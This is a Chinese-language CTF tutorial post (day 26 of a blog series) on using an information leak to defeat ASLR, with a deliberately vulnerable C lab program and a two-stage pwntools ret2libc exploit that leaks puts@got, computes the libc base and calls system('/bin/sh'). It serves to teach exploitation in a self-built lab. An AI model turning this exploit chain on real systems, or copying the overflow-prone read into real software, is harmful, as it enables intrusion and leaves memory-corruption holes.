iT邦幫忙

2026 iThome 鐵人賽

DAY 26
0

前幾天我們一路從 ROP、ret2libc 講到 GOT / PLT。

在 Day24 的 ret2libc 中,其實我們已經做過一件非常重要的事情:

puts(puts@got)

把 puts 在 Runtime 的真實位址洩漏出來。

但當時主要是為了完成 ret2libc,所以沒有仔細講:

為什麼只洩漏一個 Address,就可以進一步算出 libc 裡其他 Function 的位置?

今天就來聊聊 Pwn 裡非常重要的 Primitive:

Information Leak

0x00 為什麼我們需要 Leak?

前面提過 ASLR:

Address Space Layout Randomization

它會讓程式每次執行時,一些記憶體區域的 Base Address 都不一樣。

例如 libc:

Run 1
libc base = 0x7ffff7c00000

Run 2
libc base = 0x7ffff79a0000

Run 3
libc base = 0x7ffff7a30000

所以我們不能直接寫:

system = 0x7ffff7e12345

下一次執行,這個 Address 很可能就已經不是 system() 了。

但是有一個東西不會改:

Offset

例如:

puts offset   = 0x080ed0
system offset = 0x050d70

雖然 libc Base 每次不同,但 Function 相對於 libc Base 的 Offset 是固定的。

因此只要能拿到:

puts 的 Runtime Address

就能算:

libc base
=
puts runtime address
-
puts offset

知道 libc Base 後:

system address
=
libc base
+
system offset

這就是 Information Leak 最核心的概念。


0x01 Leak → Base → Address

整個流程其實可以濃縮成:

Leak Address
     ↓
Identify Offset
     ↓
Calculate Base
     ↓
Calculate Other Addresses
     ↓
Exploit

例如我們洩漏:

puts = 0x7ffff7c80ed0

而 libc 中:

puts offset = 0x80ed0

那麼:

0x7ffff7c80ed0
-
0x80ed0
=
0x7ffff7c00000

得到:

libc base = 0x7ffff7c00000

接下來 libc 裡幾乎所有 Symbol 都可以重新定位。


0x02 寫一個簡單的 Lab

先準備一支簡單的程式:

#include <stdio.h>
#include <unistd.h>

void vuln()
{
    char buf[64];

    puts("Input:");
    read(0, buf, 200);
}

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);

    vuln();

    return 0;
}

編譯:

gcc leak.c -o leak \
    -fno-stack-protector \
    -no-pie

看看保護:

checksec ./leak

這裡主要關注:

NX      Enabled
PIE     Disabled
Canary  Disabled

因為 PIE 關閉,所以:

Binary Address
GOT Address
PLT Address
ROP Gadget

基本上都是固定的。

但是:

libc

仍然受到 ASLR 影響。

所以我們現在的目標就是:

洩漏 libc Address。


0x03 要 Leak 什麼?

昨天介紹 GOT 時提過:

GOT

裡面會保存 Dynamic Function 的 Runtime Address。

例如:

puts@got

程式執行後裡面會放:

puts() 在 libc 中的真正 Address

所以如果能做到:

puts(puts@got);

等於告訴 puts():

把 GOT 裡面的資料印出來。

我們就能取得:

puts Runtime Address

這也是 ret2libc 中非常常見的 Leak 方法。


0x04 第一階段 ROP:Leak puts

先用 Pwntools:

from pwn import *

context.binary = elf = ELF("./leak")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p = process("./leak")

rop = ROP(elf)

offset = 72
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address

接下來建立:

pop rdi
puts@got
puts@plt
vuln

也就是:

payload = flat(
    b"A" * offset,

    pop_rdi,
    elf.got["puts"],

    elf.plt["puts"],

    elf.symbols["vuln"]
)

它實際做的事情就是:

puts(puts@got);

然後:

return vuln

再次回到漏洞點。

為什麼要回到 vuln()?

因為我們現在才只是:

Stage 1:Leak

拿到 Address 之後,還需要再送一次 Payload。


0x05 接收 Leak

送出:

p.sendlineafter(b"Input:\n", payload)

接著接收:

leaked_puts = u64(
    p.recvline().strip().ljust(8, b"\x00")
)

log.info(f"puts leak: {hex(leaked_puts)}")

可能得到:

puts leak: 0x7ffff7c80ed0

在 x86-64 Linux 中,常常只會看到 Address 的低 6 Bytes,例如:

d0 0e c8 f7 ff 7f

所以 Pwntools 中常看到:

ljust(8, b"\x00")

把它補成:

d0 0e c8 f7 ff 7f 00 00

再使用:

u64()

轉成 Address。


0x06 算 libc Base

接下來就是今天最重要的一行:

libc.address = leaked_puts - libc.sym["puts"]

背後其實就是:

libc base
=
puts runtime address
-
puts offset

例如:

puts runtime = 0x7ffff7c80ed0
puts offset  = 0x80ed0

得到:

libc base = 0x7ffff7c00000

Pwntools 設定:

libc.address = libc_base

之後,它就會自動幫我們重新計算 Symbol。

例如:

system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh\x00"))

此時拿到的就不再只是 Offset,而是 Runtime Address。


0x07 Stage 2

現在我們已經知道:

libc base
system()
"/bin/sh"

那就可以重新建立一條 ROP Chain:

pop rdi
"/bin/sh"
system

例如:

system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh\x00"))

ret = rop.find_gadget(["ret"]).address

payload = flat(
    b"A" * offset,

    ret,

    pop_rdi,
    binsh,

    system
)

送出去:

p.sendlineafter(b"Input:\n", payload)

p.interactive()

最後整體流程就是:

Buffer Overflow
      ↓
ROP
      ↓
puts(puts@got)
      ↓
Leak puts
      ↓
Calculate libc Base
      ↓
Calculate system / "/bin/sh"
      ↓
ROP
      ↓
system("/bin/sh")

其實這就是前幾天 ret2libc Exploit 背後完整的邏輯。


0x08 不只有 libc Leak

Information Leak 不一定只能拿來 Leak libc。

實戰中可能會遇到很多種:

Libc Leak
PIE Leak
Stack Leak
Heap Leak

概念基本上都差不多。

假設 Leak 出某個:

binary address

就可能可以算:

PIE Base

Leak 出:

libc address

就可以算:

libc Base

Leak 出 Heap Pointer:

0x55555576xxxx

也可能幫助我們推算 Heap Layout。

所以真正重要的不是:

「我 Leak 到一個 Address」

而是:

這個 Address 屬於哪裡?
它相對於 Base 的 Offset 是多少?
我能不能利用它還原 Memory Layout?

0x09 Information Leak 為什麼重要?

現代 Binary 通常都有:

ASLR
PIE
NX
Canary
RELRO

Exploit 很少還是:

Overflow
→ 寫死 Address
→ Shell

更多時候會變成:

Find Primitive
    ↓
Information Leak
    ↓
Recover Memory Layout
    ↓
Build Exploit

所以 Information Leak 很多時候不是最後的漏洞,而是:

Exploit Primitive

它本身不一定能直接拿 Shell。

但只要把原本「不知道在哪裡」的東西洩漏出來,ASLR 帶來的隨機化就可能被繞過。


0x0A 小結

今天最重要的公式其實只有一個:

Base Address
=
Leaked Address
-
Known Offset

拿到 Base Address 後:

Target Address
=
Base Address
+
Target Offset

所以整個 Information Leak 可以記成:

Leak
↓
Calculate Base
↓
Recover Addresses
↓
Exploit

前幾天的 ret2libc 其實就是:

ROP
+
GOT / PLT
+
Information Leak
+
libc

把這幾個東西組起來之後,一個完整的 Pwn Exploit 就慢慢成形了。

下一篇 Day27,我們來看看一種本身就非常適合拿來「讀取 Memory」的漏洞:

Format String Vulnerability

看看一個看似普通的:

printf(buf);

到底能讓我們從 Stack 裡挖出多少東西。


上一篇
Day25|GOT / PLT
下一篇
Day27|Format String
系列文
從零開始の Binary CTF:30 天系統化學習 Rev & Pwn 共 27 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言